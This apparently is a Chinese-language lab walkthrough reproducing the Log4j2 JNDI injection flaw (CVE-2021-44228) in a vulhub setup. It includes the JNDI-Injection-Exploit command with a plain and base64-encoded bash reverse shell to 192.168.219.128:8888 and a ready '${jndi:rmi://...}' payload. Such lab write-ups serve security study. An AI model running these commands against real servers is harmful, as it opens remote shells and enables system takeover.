1.Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
参考博客:http://base.i-zeeker.com/4981/,新人发帖,如有雷同,纯属ctrl+CV,若有不适,留言删帖(看到之后哦,狗头.jpg)
2.环境搭建 vulhub
3.POC测试,准备dnslog(http://www.dnslog.cn),打开网站如下所示,打开的网站域名为ste5gx.dnslog.cn,截图如下所示
4.EXP利用:
log4j漏洞,反弹shell到本地,验证漏洞利用的程度如何。
利用工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,该工具是某大佬写得JNDI注入利用工具,项目地址https://github.com/welk1n/JNDI-Injection-Exploit
JNDI解释: JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。
1.1. 执行反弹shell命令:(注意避坑,docker环境未必能访问攻击机环境,我在宿主机上完成的)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c “{echo,bash -i >& /dev/tcp/192.168.219.128/8888 0>&1}|{base64,-d}|{bash,-i}” -A 192.168.219.128
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxOS4xMjgvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.219.128
查看平台的java版本为1.8,如下图所示
通过执行结果返回来的值,可以知道rmi值为
—————————-JNDI Links—————————-
1.2. 执行payload
构造好的payload为:${jndi:rmi://192.168.219.128:1099/m37btk}
在浏览器前端执行构造好的payload的结果如下图所示